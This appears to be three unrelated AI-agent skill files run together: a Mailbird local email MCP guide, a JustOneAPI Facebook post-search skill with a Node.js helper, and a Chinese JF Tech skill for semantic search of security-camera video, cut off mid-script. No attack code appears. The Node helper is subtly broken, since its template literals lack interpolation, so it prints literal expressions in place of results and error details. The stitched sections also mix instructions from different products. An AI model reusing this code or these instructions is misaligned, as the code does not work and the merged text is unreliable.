metadata: {"openclaw":{"emoji":"📬","requires":{"env":["MAILBIRD_MCP_URL","MAILBIRD_MCP_TOKEN"]},"primaryEnv":"MAILBIRD_MCP_TOKEN","envDescriptions":{"MAILBIRD_MCP_URL":"Optional. Local Mailbird MCP endpoint (default: http://127.0.0.1:18790/mcp). Must point at 127.0.0.1 / localhost only.","MAILBIRD_MCP_TOKEN":"Bearer token from Mailbird → Settings → Wingman AI → Copy token. Treat as a credential to your mailbox; never share with remote agents."},"mcp":{"name":"mailbird","transport":"http","urlEnv":"MAILBIRD_MCP_URL","urlDefault":"http://127.0.0.1:18790/mcp","tokenEnv":"MAILBIRD_MCP_TOKEN","headerName":"Authorization","headerPrefix":"Bearer "}}}
---
# Mailbird MCP
You have access to a local **Mailbird MCP server** that exposes the user's
real email accounts, folders, conversations, drafts, and attachments. It's
running inside the user's Mailbird desktop app on `127.0.0.1` only — there
is no remote variant.
**The single most important rule:** for ANY task that involves email, inbox,
messages, drafts, contacts, attachments, folders, or sending — even when the
user phrases it casually ("check my inbox", "any reply from X yet?", "draft
a reply to that invoice", "find that thread from Mira") — reach for these
tools first. Do **not** grep the local filesystem, do not read code, do not
guess. The server is the source of truth.
## Setup
The user enables the MCP server inside Mailbird at:
**Settings → Wingman AI → Enable MCP server**.
That tab also exposes:
- The bearer token (Copy button).
- The endpoint URL (`http://127.0.0.1:<port>/mcp`, port shown next to status).
- The "Allow write actions" toggle — required before any write tool will work.
If the connection fails, ask the user to verify the toggle is on and that
they've copied the current token. Tokens regenerate when the server is
disabled and re-enabled.
## Configuration (environment variables)
Both are optional; defaults work for a single-user local install.
| Variable | Required | Default | Notes |
|---|---|---|---|
| `MAILBIRD_MCP_URL` | optional | `http://127.0.0.1:18790/mcp` | Local Mailbird MCP endpoint. Must be `127.0.0.1` / `localhost` only. |
| `MAILBIRD_MCP_TOKEN` | optional | — | Bearer token from Mailbird's Wingman AI tab. If unset and Mailbird's settings file is reachable, the agent reads it from there; otherwise the agent will prompt. |
## Security model
This skill grants the agent access to **the user's full mailbox**: message
bodies, attachments, contacts, and the ability to send mail (when the
write-action gate is on). Treat the URL and token accordingly:
- The Mailbird MCP server **only binds to loopback** (`127.0.0.1`).
Don't proxy, port-forward, or tunnel it to a public address. Don't paste
the URL or token into any remote / cloud-hosted agent that doesn't run
on the same machine as Mailbird.
- The token is a credential equivalent to mailbox login. Don't echo it
into chat transcripts, commit it, share it in screenshots, or include
it in bug reports. Tokens regenerate when the server is disabled and
re-enabled — rotate immediately if it leaks.
- Write actions (archive, trash, send, etc.) require the user to flip
**Allow write actions** in the Wingman AI tab. Sending additionally
requires per-call `confirm: true`. The skill should always show drafts
to the user before sending.
- Mailbird's optional **Audit log of MCP requests** records every call
(method + params, never responses) to a local file the user can
inspect. Recommend they enable it for visibility.
## Start-of-session checklist
Run these the first time you touch the server in a session, before any
non-trivial action:
1. **Read `mailbird://help`** via `resources/read`. It's the canonical
user guide — covers the ID model, write-tool gating, send pipeline,
search index lag, archive→restore, attachment handling, inline images.
Skim it once and remember the key recipes.
2. **`list_accounts`** to learn the configured account ids.
3. For folder-scoped work, **`list_folders(accountId)`** and pick by the
`identity` field — `Inbox`, `Sent`, `Drafts`, `Trash`, `Spam`, `Archived`,
`AllMail`, `Generic` (user-created). Folder ids are NOT stable across
accounts. `list_accounts` does not return the inbox folder id — always
discover via `list_folders`.
## Read tools (always available)
- `list_accounts` — accounts with id, sender name, email, unread count.
- `list_folders(accountId)` — folders for one account.
- `list_conversations(folderId, limit?, unreadOnly?, starredOnly?, importantOnly?)` — recent conversations in a folder.
- `get_conversation(conversationId, folderId)` — message list + metadata for one thread.
- `get_message(messageId)` — full message body, with `cid:` images rewritten to `mailbird://messages/{messageId}/attachments/{attachmentId}` resource URIs.
- `get_unread_counts(accountId? | folderId?)` — quick triage signal.
- `search_conversations(query, accountId?, folderId?)` — Mailbird search syntax (`from:foo subject:bar`). Results carry `actualFolders[]`; use those ids to act on hits, **not** the virtual `folderId: -2`.
- `list_attachments(messageId)` / `get_attachment_status(...)` / `get_attachment_content(...)`.
- `get_send_status(messageId)` — `sent` / `draft_pending_send` / `scheduled` / `trashed`.
## Write tools (gated by "Allow write actions")
- `archive_conversation`, `trash_conversation`, `move_conversation`, `move_conversation_to_inbox`.
- `mark_conversation_as_read` / `unread`, `flag_conversation_important`, `star_conversation` / `unstar_conversation`, `mark_conversation_as_spam` / `unmark_conversation_as_spam`, `snooze_conversation(wakeAtUtc)`.
- `create_draft(accountId, to, cc?, bcc?, subject, body, attachments?)` — saves a draft, returns `messageId`. Does NOT send.
- `update_draft(messageId, ...)` — replace any field on an existing draft.
- `reply_to_conversation`, `reply_all_to_conversation`, `forward_conversation` — create a draft with the standard quoted scaffold and return `messageId`. Do NOT send. Body is up to you to finalise.
- `send_message_now(messageId | accountId+to+...; confirm: true)` — actually sends. **Always show the draft to the user and get explicit approval first.** Returns `status: "queued"` plus a `deliveryState` field signalling IMAP/SMTP health.
- `unsubscribe_from_newsletter(messageId)` — uses the `List-Unsubscribe` header. Returns structured "not_applicable" / "already_unsubscribed" when relevant.
- `delete_conversation_permanently` — **only** applies to conversations currently in Trash or Spam. From elsewhere, trash first then re-discover the new id and call this on the trash copy.
If a write tool returns an error pointing at the "Allow write actions"
toggle, surface it to the user verbatim — do not retry.
## Pitfalls (these bite less-careful agents)
1. **Conversation IDs are per-folder.** After `trash_conversation`,
`archive_conversation`, or `move_conversation`, the conversation has a
NEW id in its destination folder. Re-discover via
`list_conversations(folderId=<destination>)` before chaining further
actions. Message ids, on the other hand, are stable across folders.
2. **Search index lag (~10–30s).** A message you just sent or received may
not be in `search_conversations` results yet. For very recent items,
prefer `list_conversations(folderId=<sent_folder>)` over searching.
3. **Send pipeline.** `send_message_now` returns immediately with
`status: "queued"`. The message stays briefly visible in Drafts before
moving to Sent — that's normal. Use `get_send_status` to confirm.
4. **Archive destination depends on the provider.** Gmail and IMAP-with-labels
accounts archive into the `AllMail` folder; everything else uses
`Archived`. Exactly one will exist per account. The full restore recipe
(`list_folders → list_conversations → move_conversation_to_inbox`) lives
in `mailbird://help`.
5. **Inline (`cid:`) images** in `get_message` results are rewritten to
`mailbird://messages/.../attachments/...` URIs. Resolve via
`resources/read`. The response also carries an `inlineAttachments` map.
## Reply pattern
Standard chain for an agent-authored reply:
```
1. reply_to_conversation(conversationId, folderId) → messageId
2. update_draft(messageId, body: "<your prose>") # quoted scaffold preserved
3. <show draft to user, get approval>
4. send_message_now(messageId, confirm: true) → status: queued
5. (optional, ~5s later) get_send_status(messageId) → status: sent
```
For a brand-new message (no thread), use `create_draft` with
`to`/`subject`/`body`/`attachments` directly, then steps 3–5.
## When to escalate to the user
- Any write before "Allow write actions" is enabled.
- Any send — always show the draft and get approval.
- Permanent delete from anywhere other than Trash/Spam.
- Search returns nothing for content the user expects to exist (could be
index lag, suggest the user wait and retry).
When uncertain about provider-specific behaviour or an edge case, read
`mailbird://help` again — it's the authoritative source.
Call GET /api/facebook/search-post/v1 for Facebook Post Search through JustOneAPI with keyword.
---
name: Facebook Post Search API
description: Call GET /api/facebook/search-post/v1 for Facebook Post Search through JustOneAPI with keyword.
author: JustOneAPI
homepage: https://api.justoneapi.com
metadata: {"openclaw":{"homepage":"https://api.justoneapi.com","primaryEnv":"JUST_ONE_API_TOKEN","requires":{"bins":["node"],"env":["JUST_ONE_API_TOKEN"]},"skillKey":"justoneapi_facebook_search_post"}}
---
# Facebook Post Search
Use this focused JustOneAPI skill for post Search in Facebook. It targets `GET /api/facebook/search-post/v1`. Required non-token inputs are `keyword`. OpenAPI describes it as: Get Facebook post Search data, including matched results, metadata, and ranking signals, for discovering relevant public posts for specific keywords and analyzing engagement and reach of public content on facebook.
## Endpoint Scope
- Platform key: `facebook`
- Endpoint key: `search-post`
- Platform family: Facebook
- Skill slug: `justoneapi-facebook-search-post`
| Operation | Version | Method | Path | OpenAPI summary |
| --- | --- | --- | --- | --- |
| `searchFacebookPostsV1` | `v1` | `GET` | `/api/facebook/search-post/v1` | Post Search |
## Inputs
| Parameter | In | Required by | Optional by | Type | Notes |
| --- | --- | --- | --- | --- | --- |
| `cursor` | `query` | n/a | all | `string` | Pagination cursor for fetching the next set of results |
| `endDate` | `query` | n/a | all | `string` | End date for the search range (inclusive), formatted as yyyy-MM-dd |
| `keyword` | `query` | all | n/a | `string` | Keyword to search for in public posts. Supports basic text matching |
| `startDate` | `query` | n/a | all | `string` | Start date for the search range (inclusive), formatted as yyyy-MM-dd |
Request body: none documented; send parameters through path or query arguments.
## Version Choice
Use `searchFacebookPostsV1` for the documented `v1` endpoint. There are no alternate versions grouped in this skill.
## Run This Endpoint
Supported operation IDs in this skill: `searchFacebookPostsV1`.
```bash
node {baseDir}/bin/run.mjs --operation "searchFacebookPostsV1" --token "$JUST_ONE_API_TOKEN" --params-json '{"keyword":"<keyword>"}'
```
Ask for any missing required parameter before calling the helper. Keep user-provided IDs, cursors, keywords, and filters unchanged.
## Environment
- Required: `JUST_ONE_API_TOKEN`
- Pass the token with `--token "$JUST_ONE_API_TOKEN"`; do not paste token values into chat messages, screenshots, or logs.
- Get a token from [Just One API Dashboard](https://dashboard.justoneapi.com/en/login?utm_source=clawhub.ai&utm_medium=referral&utm_campaign=justoneapi_facebook_search_post&utm_content=project_link).
- Authentication details: [Just One API Usage Guide](https://docs.justoneapi.com/en/?utm_source=clawhub.ai&utm_medium=referral&utm_campaign=justoneapi_facebook_search_post&utm_content=project_link).
## Output Focus
- State the operation ID and endpoint path used, for example `searchFacebookPostsV1` on `/api/facebook/search-post/v1`.
- Echo the required lookup scope (`keyword`) before summarizing results.
- Prioritize fields that support this endpoint purpose: Get Facebook post Search data, including matched results, metadata, and ranking signals, for discovering relevant public posts for specific keywords and analyzing engagement and reach of public content on facebook.
- Return raw JSON only after the short, endpoint-specific summary.
- If the backend errors, include the backend payload and the exact operation ID.
FILE:bin/run.mjs
#!/usr/bin/env node
const manifest = {
"baseUrl": "https://api.justoneapi.com",
"description": "Call GET /api/facebook/search-post/v1 for Facebook Post Search through JustOneAPI with keyword.",
"displayName": "Facebook Post Search",
"openapi": "3.1.0",
"platformKey": "facebook",
"primaryTag": "Facebook",
"skillName": "justoneapi_facebook_search_post",
"slug": "justoneapi-facebook-search-post",
"sourceTitle": "OpenAPI definition",
"operations": [
{
"description": "Get Facebook post Search data, including matched results, metadata, and ranking signals, for discovering relevant public posts for specific keywords and analyzing engagement and reach of public content on facebook.",
"method": "GET",
"operationId": "searchFacebookPostsV1",
"parameters": [
{
"defaultValue": null,
"description": "User security token for API access authentication.",
"enumValues": [],
"location": "query",
"name": "token",
"required": true,
"schemaType": "string"
},
{
"defaultValue": null,
"description": "Keyword to search for in public posts. Supports basic text matching.",
"enumValues": [],
"location": "query",
"name": "keyword",
"required": true,
"schemaType": "string"
},
{
"defaultValue": null,
"description": "Start date for the search range (inclusive), formatted as yyyy-MM-dd.",
"enumValues": [],
"location": "query",
"name": "startDate",
"required": false,
"schemaType": "string"
},
{
"defaultValue": null,
"description": "End date for the search range (inclusive), formatted as yyyy-MM-dd.",
"enumValues": [],
"location": "query",
"name": "endDate",
"required": false,
"schemaType": "string"
},
{
"defaultValue": "",
"description": "Pagination cursor for fetching the next set of results.",
"enumValues": [],
"location": "query",
"name": "cursor",
"required": false,
"schemaType": "string"
}
],
"path": "/api/facebook/search-post/v1",
"requestBody": null,
"responses": [
{
"description": "OK",
"statusCode": "200"
}
],
"summary": "Post Search",
"tags": [
"Facebook"
]
}
],
"endpointPath": "search-post",
"skillType": "interface"
};
const args = parseArgs(process.argv.slice(2));
if (!args.operation) {
fail("Missing required --operation argument.");
}
const operation = manifest.operations.find((item) => item.operationId === args.operation);
if (!operation) {
fail(`Unknown operation "args.operation".`, { availableOperations: manifest.operations.map((item) => item.operationId) });
}
const params = parseParams(args.paramsJson);
applyDefaults(operation, params);
injectToken(operation, params, args.token);
validateRequired(operation, params);
const baseUrl = manifest.baseUrl;
const url = new URL(operation.path, ensureBaseUrl(baseUrl));
applyPathParams(operation, params, url);
applyQueryParams(operation, params, url);
const requestInit = {
headers: {
"accept": "application/json",
},
method: operation.method,
};
if (operation.requestBody && params.body !== undefined) {
requestInit.body = JSON.stringify(params.body);
requestInit.headers["content-type"] = operation.requestBody.contentType || "application/json";
}
let response;
try {
response = await fetch(url, requestInit);
} catch (error) {
fail("Network request failed.", {
cause: error instanceof Error ? error.message : String(error),
operationId: operation.operationId,
});
}
const rawBody = await response.text();
let parsedBody;
try {
parsedBody = rawBody ? JSON.parse(rawBody) : null;
} catch (error) {
if (!response.ok) {
fail("Backend returned a non-JSON error response.", {
body: rawBody,
operationId: operation.operationId,
status: response.status,
statusText: response.statusText,
});
}
fail("Backend returned invalid JSON.", {
body: rawBody,
operationId: operation.operationId,
status: response.status,
statusText: response.statusText,
});
}
if (!response.ok) {
fail("Backend request failed.", {
body: parsedBody,
operationId: operation.operationId,
status: response.status,
statusText: response.statusText,
});
}
process.stdout.write(`JSON.stringify(parsedBody, null, 2)\n`);
function parseArgs(argv) {
const parsed = { operation: null, paramsJson: "{}", token: null };
for (let index = 0; index < argv.length; index += 1) {
const flag = argv[index];
const value = argv[index + 1];
if (flag === "--operation") {
parsed.operation = value;
index += 1;
continue;
}
if (flag === "--params-json") {
parsed.paramsJson = value;
index += 1;
continue;
}
if (flag === "--token") {
parsed.token = value;
index += 1;
continue;
}
fail(`Unknown argument "flag".`);
}
return parsed;
}
function parseParams(input) {
try {
const parsed = JSON.parse(input || "{}");
if (!parsed || typeof parsed !== "object" || Array.isArray(parsed)) {
fail("--params-json must decode to a JSON object.");
}
return parsed;
} catch (error) {
fail("Failed to parse --params-json.", {
cause: error instanceof Error ? error.message : String(error),
});
}
}
function applyDefaults(operation, params) {
for (const parameter of operation.parameters) {
if (params[parameter.name] === undefined && parameter.defaultValue !== null) {
params[parameter.name] = parameter.defaultValue;
}
}
}
function injectToken(operation, params, cliToken) {
const tokenParam = operation.parameters.find((parameter) => parameter.name === "token");
if (!tokenParam || params.token !== undefined) {
return;
}
if (!cliToken) {
fail("--token is required for this operation.", {
operationId: operation.operationId,
});
}
params.token = cliToken;
}
function validateRequired(operation, params) {
const missing = [];
for (const parameter of operation.parameters) {
if (parameter.required && params[parameter.name] === undefined) {
missing.push(parameter.name);
}
}
if (operation.requestBody?.required && params.body === undefined) {
missing.push("body");
}
if (missing.length) {
fail("Missing required parameters.", {
missing,
operationId: operation.operationId,
});
}
}
function applyPathParams(operation, params, url) {
let pathname = url.pathname;
for (const parameter of operation.parameters.filter((item) => item.location === "path")) {
const value = params[parameter.name];
if (value === undefined) {
continue;
}
pathname = pathname.replace(`{parameter.name}`, encodeURIComponent(String(value)));
}
url.pathname = pathname;
}
function applyQueryParams(operation, params, url) {
for (const parameter of operation.parameters.filter((item) => item.location === "query")) {
const value = params[parameter.name];
if (value === undefined) {
continue;
}
appendValue(url.searchParams, parameter.name, value);
}
}
function appendValue(searchParams, name, value) {
if (Array.isArray(value)) {
for (const item of value) {
appendValue(searchParams, name, item);
}
return;
}
if (value && typeof value === "object") {
searchParams.append(name, JSON.stringify(value));
return;
}
searchParams.append(name, String(value));
}
function ensureBaseUrl(value) {
return value.endsWith("/") ? value : `value/`;
}
function fail(message, details = null) {
const payload = { message };
if (details) {
payload.details = details;
}
process.stderr.write(`JSON.stringify(payload, null, 2)\n`);
process.exit(1);
}
FILE:generated/operations.json
{
"baseUrl": "https://api.justoneapi.com",
"description": "Call GET /api/facebook/search-post/v1 for Facebook Post Search through JustOneAPI with keyword.",
"displayName": "Facebook Post Search",
"endpointPath": "search-post",
"openapi": "3.1.0",
"operations": [
{
"description": "Get Facebook post Search data, including matched results, metadata, and ranking signals, for discovering relevant public posts for specific keywords and analyzing engagement and reach of public content on facebook.",
"method": "GET",
"operationId": "searchFacebookPostsV1",
"parameters": [
{
"defaultValue": null,
"description": "User security token for API access authentication.",
"enumValues": [],
"location": "query",
"name": "token",
"required": true,
"schemaType": "string"
},
{
"defaultValue": null,
"description": "Keyword to search for in public posts. Supports basic text matching.",
"enumValues": [],
"location": "query",
"name": "keyword",
"required": true,
"schemaType": "string"
},
{
"defaultValue": null,
"description": "Start date for the search range (inclusive), formatted as yyyy-MM-dd.",
"enumValues": [],
"location": "query",
"name": "startDate",
"required": false,
"schemaType": "string"
},
{
"defaultValue": null,
"description": "End date for the search range (inclusive), formatted as yyyy-MM-dd.",
"enumValues": [],
"location": "query",
"name": "endDate",
"required": false,
"schemaType": "string"
},
{
"defaultValue": "",
"description": "Pagination cursor for fetching the next set of results.",
"enumValues": [],
"location": "query",
"name": "cursor",
"required": false,
"schemaType": "string"
}
],
"path": "/api/facebook/search-post/v1",
"requestBody": null,
"responses": [
{
"description": "OK",
"statusCode": "200"
}
],
"summary": "Post Search",
"tags": [
"Facebook"
]
}
],
"platformKey": "facebook",
"primaryTag": "Facebook",
"skillName": "justoneapi_facebook_search_post",
"skillType": "interface",
"slug": "justoneapi-facebook-search-post",
"sourceTitle": "OpenAPI definition"
}
FILE:generated/operations.md
# Facebook Post Search operations
Generated from JustOneAPI OpenAPI for platform key `facebook`.
Endpoint group: `search-post`.
## `searchFacebookPostsV1`
- Method: `GET`
- Path: `/api/facebook/search-post/v1`
- Summary: Post Search
- Description: Get Facebook post Search data, including matched results, metadata, and ranking signals, for discovering relevant public posts for specific keywords and analyzing engagement and reach of public content on facebook.
- Tags: `Facebook`
### Parameters
| Name | In | Required | Type | Default | Description |
| --- | --- | --- | --- | --- | --- |
| `token` | `query` | yes | `string` | n/a | User security token for API access authentication. |
| `keyword` | `query` | yes | `string` | n/a | Keyword to search for in public posts. Supports basic text matching. |
| `startDate` | `query` | no | `string` | n/a | Start date for the search range (inclusive), formatted as yyyy-MM-dd. |
| `endDate` | `query` | no | `string` | n/a | End date for the search range (inclusive), formatted as yyyy-MM-dd. |
| `cursor` | `query` | no | `string` | n/a | Pagination cursor for fetching the next set of results. |
### Request body
No request body.
### Responses
- `200`: OK
JF Tech Pro AI 智搜技能。根据语义内容(如"带帽子的人"、"车"、"狗")搜索杰峰云存报警视频,获取匹配的视频片段列表。使用场景:智能视频检索、AI 事件搜索、语义化视频查找。
---
name: jf-open-pro-ai-smart-search
description: JF Tech Pro AI 智搜技能。根据语义内容(如"带帽子的人"、"车"、"狗")搜索杰峰云存报警视频,获取匹配的视频片段列表。使用场景:智能视频检索、AI 事件搜索、语义化视频查找。
# 必需凭证声明 - 平台元数据
credentials:
required:
- name: JF_UUID
type: string
description: 杰峰开放平台用户唯一标识
source: https://open.jftech.com/
- name: JF_APPKEY
type: string
description: 杰峰开放平台应用 Key
source: https://open.jftech.com/
- name: JF_APPSECRET
type: string
description: 杰峰开放平台应用密钥
source: https://open.jftech.com/
- name: JF_MOVECARD
type: integer
description: 签名算法偏移量 (0-9)
source: https://open.jftech.com/
optional:
- name: JF_SN
type: string
description: 设备序列号
- name: JF_USER
type: string
description: 用户 ID
default: admin
- name: JF_ENDPOINT
type: string
description: API 端点
default: api.jftechws.com
# 网络端点声明
endpoints:
- url: https://api.jftechws.com
description: 杰峰官方 API (国际)
- url: https://api-cn.jftech.com
description: 杰峰官方 API (中国大陆)
# 安全声明
security:
credentials_required: true
env_vars_only: true # 凭据仅通过环境变量读取
language: python # Python 脚本
network_access:
- api.jftechws.com # 杰峰官方 API (国际)
- api-cn.jftech.com # 杰峰官方 API (中国大陆)
file_access: none # 不读取本地文件
---
# JF Open Pro AI Smart Search
> **面向开发者杰峰 AI 智搜工具 (Python)**
>
> 根据语义内容搜索杰峰云存报警视频,获取匹配的视频片段列表及播放信息。
---
## 🔒 安全说明
**凭据存储:仅支持环境变量**
| 方式 | 支持 | 说明 |
|------|------|------|
| **环境变量** | ✅ 支持 | 推荐方式,避免凭据出现在进程列表或日志中 |
| **命令行参数** | ❌ 不支持 | 避免凭据泄露风险 |
| **配置文件** | ❌ 不支持 | 避免明文存储凭据 |
**网络访问:**
- ✅ 仅访问杰峰官方 API 端点 (`api.jftechws.com` / `api-cn.jftech.com`)
- ❌ 不访问第三方服务
- ❌ 不读取本地文件系统
**脚本行为:**
- ✅ 本地执行 Python 脚本(技能本身)
- ✅ 仅向指定的杰峰 API 端点发起 HTTPS 请求
- ❌ 不执行外部命令
- ❌ 不读取敏感系统文件
---
## 🚀 快速开始
### 设置环境变量
```bash
export JF_UUID="your-uuid" # 开放平台用户唯一标识
export JF_APPKEY="your-appkey" # 开放平台应用 Key
export JF_APPSECRET="your-appsecret" # 开放平台应用密钥
export JF_MOVECARD=5 # 签名算法偏移量 (0-9)
export JF_SN="your-device-sn" # 设备序列号
export JF_USER="admin" # 用户 ID(可选,默认:admin)
```
### 使用技能
```bash
# AI 智搜 - 搜索"人"相关的视频
python scripts/search_video.py --search "人"
# AI 智搜 - 搜索"车"相关的视频
python scripts/search_video.py --search "车"
# AI 智搜 - 搜索"狗"相关的视频
python scripts/search_video.py --search "狗"
# AI 智搜 - 搜索"戴帽子的人"
python scripts/search_video.py --search "戴帽子的人"
# 获取云存回放地址(指定时间)
python scripts/get_playback_url.py --start-time "2026-04-07 12:00:00" --stop-time "2026-04-07 12:45:00"
# 完整流程:AI 智搜 + 播放地址(推荐)
python scripts/ai_search_playback.py --search "人" --video-index 0
```
---
## 📋 环境变量
| 变量名 | 说明 | 必需 | 默认值 |
|--------|------|------|--------|
| `JF_UUID` | 开放平台用户唯一标识 | 是 | - |
| `JF_APPKEY` | 开放平台应用 Key | 是 | - |
| `JF_APPSECRET` | 开放平台应用密钥 | 是 | - |
| `JF_MOVECARD` | 签名算法偏移量 (0-9),用于时间戳偏移增加签名安全性 | 是 | - |
| `JF_SN` | 设备序列号 | 是 | - |
| `JF_USER` | 用户 ID | 否 | `admin` |
| `JF_ENDPOINT` | API 端点 | 否 | `api.jftechws.com` |
---
## 🛠️ 功能
### 1. AI 智搜视频
根据语义内容搜索 AI 标记的云存报警视频。
**支持的搜索类型:**
| 搜索类型 | 示例查询 | 说明 |
|----------|----------|------|
| 人物 | "人"、"戴帽子的人"、"穿红色衣服的人" | 基于人形 + 属性检测 |
| 车辆 | "车"、"白色轿车"、"卡车" | 基于车辆检测 |
| 动物 | "狗"、"猫" | 基于动物检测 |
| 行为 | "跑步的人"、"摔倒" | 基于行为分析 |
**使用示例:**
```bash
# 搜索"人"相关的视频
python scripts/search_video.py --search "人"
# 搜索"车"相关的视频
python scripts/search_video.py --search "车"
# 搜索"戴帽子的人"
python scripts/search_video.py --search "戴帽子的人"
```
**返回字段说明:**
| 字段 | 说明 | 示例 |
|------|------|------|
| `st` | 录像开始时间(秒) | 1703275200 |
| `et` | 录像结束时间(秒) | 1703275260 |
| `matchRate` | 匹配度(0-1) | 0.95 |
| `queryTags` | 检测到的标签列表 | ["person", "hat"] |
| `eventTime` | 事件触发时间 | "2024-12-23 10:00:00" |
---
### 2. 云存回放地址获取
获取云存报警视频回放/播放地址。
**使用示例:**
```bash
# 指定时间范围获取回放地址
python scripts/get_playback_url.py --start-time "2026-04-07 12:00:00" --stop-time "2026-04-07 12:45:00"
# 完整流程:AI 智搜 + 播放地址(推荐)
python scripts/ai_search_playback.py --search "人" --video-index 0
```
**工作流程:**
```
1. AI 智搜搜索视频
↓
获取云存报警信息视频列表
↓
2. 选择目标视频
↓
提取 st(开始时间)和 et(结束时间)
↓
3. 调用云存报警视频回放 API
↓
st 对应 startTime
et 对应 stopTime
↓
4. 获取播放链接
```
---
## 📖 使用场景示例
### 场景 1: 搜索特定人员的活动记录
```bash
# 搜索"人"相关的视频
python scripts/search_video.py --search "人"
# 查看返回结果,选择感兴趣的视频片段
# 使用返回的 st 和 et 获取回放地址
python scripts/get_playback_url.py --start-time "2026-04-07 12:00:00" --stop-time "2026-04-07 12:45:00"
```
### 场景 2: 搜索车辆进出记录
```bash
# 搜索"车"相关的视频
python scripts/search_video.py --search "车"
```
### 场景 3: 完整流程 - 搜索并播放
```bash
# 一步完成:搜索"人"并获取第一个视频的回放地址
python scripts/ai_search_playback.py --search "人" --video-index 0
```
---
## ⚠️ 错误处理
| 错误码 | 说明 | 解决方案 |
|--------|------|----------|
| `2000` | 成功 | - |
| `12504` | 授权失败 - 设备未开通 AI 智搜套餐 | 登录开放平台为设备绑定 AI 智搜套餐卡 |
| `10001` | 参数错误 | 检查请求参数格式 |
| `10002` | 签名失败 | 检查 appKey/appSecret 和时间戳 |
### 错误码 12504 处理
**错误信息:** `authorize failed, Please check it in the open platform`
**原因:** 设备未开通 AI 智搜服务,或未绑定套餐卡
**解决步骤:**
1. 登录杰峰开放平台:https://developer.jftech.com
2. 进入 **套餐管理** / **服务管理**
3. 找到 **AI 智搜** 或 **云存视频搜索** 套餐
4. 为设备购买并绑定套餐卡
5. 等待配置生效(通常 1-5 分钟)
6. 重新调用 API 测试
---
## ⚠️ 注意事项
1. **设备需开通云存服务** - AI 智搜需要云存套餐支持
2. **设备需开通 AI 智搜套餐** - 需在开放平台绑定套餐卡
3. **时间范围** - 只能搜索云存有效期内的视频
4. **搜索精度** - 受 AI 算法识别精度影响
---
## 📚 官方参考资料
- **杰峰开放平台**: https://open.jftech.com/
- **API 文档**: https://docs.jftech.com/
- **AI 智搜文档**: https://docs.jftech.com/docs?menusId=54582398fd8d4248962354e92ac2e47a&siderId=d2c0d9105d9c4b78bc0d2ee3851d2557
- **API 端点**: `api.jftechws.com` (国际) / `api-cn.jftech.com` (中国大陆)
---
## 📁 脚本工具
**可用脚本:**
| 脚本 | 功能 |
|------|------|
| `search_video.py` | AI 智搜 - 搜索云存报警视频 |
| `get_playback_url.py` | 获取云存回放地址(指定时间或完整流程) |
| `ai_search_playback.py` | 完整流程 - AI 智搜 + 播放地址一键获取 |
```bash
# 获取帮助
python scripts/search_video.py --help
python scripts/get_playback_url.py --help
python scripts/ai_search_playback.py --help
# AI 智搜
python scripts/search_video.py --search <搜索内容>
# 获取回放地址(指定时间)
python scripts/get_playback_url.py --start-time "YYYY-MM-DD HH:MM:SS" --stop-time "YYYY-MM-DD HH:MM:SS"
# 完整流程:AI 智搜 + 播放地址(推荐)
python scripts/ai_search_playback.py --search <搜索内容> --video-index <索引>
```
脚本路径:`scripts/search_video.py`, `scripts/get_playback_url.py`, `scripts/ai_search_playback.py`
---
**技能版本:** v1.0.0
**语言:** Python
**最后更新:** 2026-04-07
FILE:skill.yaml
# JF Open Pro AI Smart Search - Skill Registry Metadata
# This file defines the skill's requirements for ClawHub registry
name: jf-open-pro-ai-smart-search
version: 1.0.0
description: JF Tech Pro AI 智搜技能。根据语义内容(如"带帽子的人"、"车"、"狗")搜索杰峰云存报警视频,获取匹配的视频片段列表。
# Runtime requirements
runtime:
language: python
minVersion: "3.8"
# Required environment variables (credentials)
requiredEnvVars:
- name: JF_UUID
description: 杰峰开放平台用户唯一标识
source: https://open.jftech.com/
- name: JF_APPKEY
description: 杰峰开放平台应用 Key
source: https://open.jftech.com/
- name: JF_APPSECRET
description: 杰峰开放平台应用密钥
source: https://open.jftech.com/
- name: JF_MOVECARD
description: 签名算法偏移量 (0-9),用于时间戳偏移增加签名安全性
source: https://open.jftech.com/
- name: JF_SN
description: 设备序列号
source: 杰峰设备机身标签或管理后台
# Optional environment variables
optionalEnvVars:
- name: JF_USER
description: 用户 ID
default: admin
- name: JF_ENDPOINT
description: API 端点
default: api.jftechws.com
# Network endpoints (for firewall/security configuration)
endpoints:
- url: https://api.jftechws.com
description: 杰峰官方 API (国际)
- url: https://api-cn.jftech.com
description: 杰峰官方 API (中国大陆)
# Security declarations
security:
credentialsRequired: true
envVarsOnly: true
networkAccess:
- api.jftechws.com
- api-cn.jftech.com
fileAccess: none
# Entry points
scripts:
- name: search_video.py
description: AI 智搜 - 搜索云存报警视频
entryPoint: scripts/search_video.py
- name: get_playback_url.py
description: 获取云存回放地址
entryPoint: scripts/get_playback_url.py
- name: ai_search_playback.py
description: 完整流程 - AI 智搜 + 播放地址
entryPoint: scripts/ai_search_playback.py
# Tags for discovery
tags:
- jf-tech
- 杰峰
- ai-search
- video-search
- cloud-storage
- 云存搜索
FILE:scripts/ai_search_playback.py
#!/usr/bin/env python3
"""
AI 智搜 + 云存回放完整流程脚本
工作流程:
1. 调用 AI 智搜 API 获取视频列表
2. 选择指定索引的视频
3. 提取开始/结束时间
4. 调用云存回放 API 获取播放地址
用法:
export JF_UUID="your-uuid"
export JF_APPKEY="your-appkey"
export JF_APPSECRET="your-appsecret"
export JF_MOVECARD=5
export JF_SN="your-device-sn"
export JF_USER="admin"
python ai_search_playback.py --search "人" --video-index 0
"""
import argparse
import hashlib
import json
import os
import sys
import time
from urllib.request import urlopen, Request
from urllib.error import URLError, HTTPError
def generate_jftech_sign(appkey: str, secret: str, timestamp: int) -> str:
"""生成 JF Tech API 签名"""
sign_str = f"{appkey}{timestamp}{secret}"
return hashlib.md5(sign_str.encode()).hexdigest()
def search_jftech(sn: str, user: str, query: str, uuid: str, appkey: str,
secret: str, authorization: str = "") -> dict:
"""调用 JF Tech AI 智搜 API"""
url = "https://api.jftechws.com/aisvr/v3/gateway/api/viewsearch/searchVideo"
timestamp = int(time.time() * 1000)
sign = generate_jftech_sign(appkey, secret, timestamp)
headers = {
"Content-Type": "application/json",
"uuid": uuid,
"appkey": appkey,
"sign": sign,
"timestamp": str(timestamp),
"authorization": authorization
}
body = {
"sn": sn,
"user": user,
"searchContent": query
}
req = Request(url, data=json.dumps(body).encode(), headers=headers, method="POST")
try:
with urlopen(req, timeout=30) as response:
result = json.loads(response.read().decode())
return result
except HTTPError as e:
return {"error": f"HTTP {e.code}", "message": e.read().decode()}
except URLError as e:
return {"error": "Network error", "message": str(e)}
def generate_timestamp(movecard=0):
"""
